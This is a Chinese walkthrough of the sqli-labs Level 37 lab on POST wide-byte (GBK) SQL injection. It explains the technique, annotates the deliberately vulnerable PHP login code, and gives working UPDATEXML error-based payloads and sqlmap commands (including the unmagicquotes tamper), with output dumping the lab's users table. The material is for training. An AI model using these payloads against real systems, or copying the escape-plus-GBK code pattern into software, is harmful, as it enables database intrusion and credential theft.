sqli-labs通关笔记-第37关POST宽字符注入(单引号闭合 手工注入+脚本注入 3种方法)
目录
一、宽字符注入
二、sqlmap之unmagicquotes
三、addslashes与mysqli_real_escape_string
四、源码分析
1、代码审计
2、SQL注入安全性分析
五、渗透实战
1、进入靶场
2、正确用户名密码探测
3、手工注入(方法1)
(1)渗透准备
(2)获取数据库名
(3)获取表名
(4)获取列名
(5)获取数据
4、sqlmap渗透实战(方法2)
5、sqlmap渗透实战(方法3)
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用3种方法(手工注入方法+2种脚本注入方法)对第37关Less 37基于POST型宽字符的SQL注入关卡进行渗透实战。
一、宽字符注入
宽字节注入是一种利用数据库字符集转换风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。其核心原理如下所示。
-
当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')。
-
在GBK编码中,%df%5c可组成一个合法汉字"運"。
-
攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸。
二、sqlmap之unmagicquotes
SQLMap是一款功能强大的开源SQL注入自动化检测与利用工具,提供tamper脚本绕过防护。其中unmagicquotes 是SQLMap中用于绕过PHP魔术引号(magic_quotes_gpc)防护的专用tamper脚本。当目标服务器开启魔术引号时,会自动转义特殊字符(如单引号变为'),该脚本会逆向解除这些转义,确保注入语句保持原样发送。
magic_quotes_gpc
是 PHP 中的一个配置选项,它会自动对用户输入的数据进行转义,在特殊字符(如单引号 '
、双引号 "
、反斜杠 \
和 NULL 字符)前添加反斜杠 \
。其目的是为了防止 SQL 注入攻击,但在某些情况下可能会带来不便,并且也不能完全防止所有类型的 SQL 注入。
三、addslashes与mysqli_real_escape_string
addslashes是PHP的基础转义函数,主要用于对单引号、双引号、反斜杠和NULL字符添加转义反斜杠。它简单易用但存在明显安全缺陷:不考虑数据库字符集设置,无法防御宽字节注入攻击,且转义规则固定不变。由于其安全性不足,在数据库操作中已不建议单独使用,仅适合简单的字符串处理场景。
mysqli_real_escape_string是MySQLi扩展提供的专业转义函数,能够根据当前数据库连接的字符集(如UTF-8编码,GBK编码)进行智能转义。它不仅转义基础特殊字符,还能有效防御宽字节注入等高级攻击,转义策略会动态适应数据库字符集特性。作为更安全的解决方案,它必须建立在有效的数据库连接基础上使用,通常与预处理语句配合,为数据库操作提供双重防护。不过若字符集为 GBK/GB2312,某些情况下攻击者仍可利用宽字节特性绕过转义。
场景 | mysqli_real_escape_string 效果 | 是否存在款子字节注入风险 |
---|---|---|
字符集为 UTF-8 | 正确转义所有特殊字符,无法形成宽字符组合 | 否 |
字符集为 GBK/GB2312 | 转义符 \ 可能被宽字节 “吃掉”,单引号逃逸 | 是 |
四、源码分析
1、代码审计
本关卡Less37是基于POST宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less37关卡的源码功能是登录页面,与34关区别是对字符型参数转义处理逻辑使用的函数不同,34关使用addslashes() 对参数id进行转义处理,而37关使用mysqli_real_escape_string函数对id进行转义处理, 具体区别如下所示。如下所示。
本关卡详细注释过的源码如下所示。
<?php
// 包含MySQL连接参数文件
include("../sql-connections/sqli-connect.php");// 处理POST请求的用户名和密码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{// 获取原始输入$uname1 = $_POST['uname'];$passwd1 = $_POST['passwd'];// 记录原始输入到日志文件(用于分析)$fp = fopen('result.txt', 'a');fwrite($fp, 'User Name:' . $uname1);fwrite($fp, 'Password:' . $passwd1 . "\n");fclose($fp);// 使用mysqli_real_escape_string对输入进行转义$uname = mysqli_real_escape_string($con1, $uname1);$passwd = mysqli_real_escape_string($con1, $passwd1);// 设置数据库连接字符集为GBK(关键风险点)mysqli_query($con1, "SET NAMES gbk");// 构造SQL查询语句(字符串拼接)@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);// 根据查询结果显示不同信息if($row){echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">'; echo "<br>";echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";}else {echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 输出数据库错误信息(可能泄露结构)echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }
}// 显示转义后的用户名和密码(用于调试和提示)
echo "Hint: The Username you input is escaped as : " . $uname . "<br>";
echo "Hint: The Password you input is escaped as : " . $passwd . "<br>";
?>
本关卡是一个登录页面,接收 POST 提交的用户名和密码,用 mysqli_real_escape_string转义后查询数据库,设置 gbk 字符集,存在宽字符注入风险,根本原因在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。
-
用户登录功能:
- 通过 POST 表单接收用户名(
uname
)和密码(passwd
)。 - 使用
mysqli_real_escape_string()
函数转义输入中特殊字符(如单引号,双引号),防止常规 SQL 注入。
- 通过 POST 表单接收用户名(
- 数据库配置:显式设置字符集为
gbk
,为宽字符注入创造条件。 - 数据库报错信息回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
- 调试提示:页面底部显示转义后字符串及其十六进制形式,方便观察
addslashes
的处理结果。 - 日志记录:将用户输入的原始用户名和密码记录到
result.txt
文件。
2、SQL注入安全性分析
本关卡具有宽字符注入风险,具体分析如下所示。
-
转义逻辑缺陷:
- 转义函数mysqli_real_escape_string()根据字符集gbk将单引号'转义为\'(反斜杠 + 单引号),故而本关卡无法通过普通的单引号闭合进行SQL注入。
- 但当数据库字符集为
gbk
时,反斜杠\
(ASCII 码为5C
)与后续字符可能组成一个宽字符,导致转义后的单引号虽然被转义却仍然被“放掉”从而构成闭合。
- 注入流程:
- 输入 payload:%df'(URL 编码为 %df%27)。
- 单引号转义后变为:\' URL 编码为 %5C%27,%df'转移后变为了%df%5C%27
。
- 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。
五、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs
点击进入Page2,如下图红框所示。
其中第37关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less37关卡,进入到靶场的第37关卡宽字符POST型注入关,这是一个登录页面,需要输入用户名和密码,同时在页面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-37
2、正确用户名密码探测
输入用户名admin,密码mooyuan123456,bp开启抓包,具体如下所示。
点击登录,页面显示用户名和密码,说明登录成功,具体如下所示。
burpsuite抓包, 在burpsuite的历史记录中找到这个报文,抓包效果如下所示。
此时在报文request请求部分右键,选择copy to file并保存为sqli-labs37.txt,如下所示。
3、手工注入(方法1)
(1)渗透准备
由于本关卡使用POST方法,为方便注入,将报文发送到repeater模块,具体如下所示。
(2)获取数据库名
如下所示,以密码为注入点进行渗透,数据库的名称为“security”。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+
(3)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+
(4)获取列名
如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273),0x7e),1)--+
(5)获取数据
最后通过上一步获取到的列名来提取users表的第一行的用户名和密码内容,这里符号:也被替换为0x3a,如下所示渗透成功。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1)--+
4、sqlmap渗透实战(方法2)
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在uname=admin后面增加%df'的目标是指定闭合方式,星号*放在uname参数尾部则是指定注入点为id,完整的SQL注入命令如下所示。
sqlmap -r sqli-labs37.txt --current-db --dump --batch
其中sqli-labs37.txt中的注入点被修改为如下所示,pass参数后面增加了单引号星号,如下所示。
POST /sqli-labs/Less-37/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-37/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46uname=admin%df'*&passwd=mooyuan123456&submit=Submit
sqlmap渗透成功,可以通过报错法、时间盲注、联合注入方法渗透成功,具体信息如下所示。
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1006 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin%df' AND GTID_SUBSET(CONCAT(0x716a6a6b71,(SELECT (ELT(1693=1693,1))),0x7178717671),1693)-- ReAU&passwd=mooyuan123456&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin%df' AND (SELECT 2585 FROM (SELECT(SLEEP(5)))iGBs)-- Pgzs&passwd=mooyuan123456&submit=SubmitType: UNION queryTitle: Generic UNION query (NULL) - 2 columnsPayload: uname=admin%df' UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x594646644a57714e52457a77705051555167726e457a725a675741654954514a4e7475584164584f,0x7178717671)-- -&passwd=mooyuan123456&submit=Submit
---
[04:03:28] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[04:03:29] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+
5、sqlmap渗透实战(方法3)
通过模拟用户提交的登录数据(uname=admin&passwd=admin),尝试使用tamper脚本 unmagicquotes
绕过转义机制,获取当前数据库信息并导出数据。具体命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-37/" --data="uname=admin&passwd=admin&submit=Submit" --current-db --batch --dump --tamper unmagicquotes
- 探测URL:通过
-u
指定目标 URL 和参数。 - 获取信息:用
--current-db
获取当前数据库名。 - 自动化执行:
--batch
避免人工干预。 - 数据导出:
--dump
导出数据库内容。 - 指定POST参数:--data 构造 POST 参数,模拟用户输入的用户名和密码(
admin:admin
),submit=Submit
为表单提交按钮参数,sqlmap
会基于此数据测试注入点,例如修改admin
为恶意 payload(如admin' OR 1=1 --
) - 绕过防护:
--tamper unmagicquotes
尝试移除多余转义。
如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 136 HTTP(s) requests:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin' OR NOT 6131=6131#&passwd=admin&submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin' AND GTID_SUBSET(CONCAT(0x71767a7a71,(SELECT (ELT(4652=4652,1))),0x7162707071),4652)-- HOxG&passwd=admin&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin' AND (SELECT 7244 FROM (SELECT(SLEEP(5)))BuJi)-- AGab&passwd=admin&submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: uname=admin' UNION ALL SELECT NULL,CONCAT(0x71767a7a71,0x414a41737a56535377746a71435779465248727843684f6f4c4870706e725450494453794f6b7a79,0x7162707071)#&passwd=admin&submit=Submit
---
[04:08:36] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[04:08:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[04:08:36] [INFO] fetching current database
current database: 'security'
[04:08:36] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[04:08:36] [INFO] fetching current database
[04:08:36] [INFO] fetching tables for database: 'security'
[04:08:36] [INFO] fetching columns for table 'users' in database 'security'
[04:08:36] [INFO] fetching entries for table 'users' in database 'security'
Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+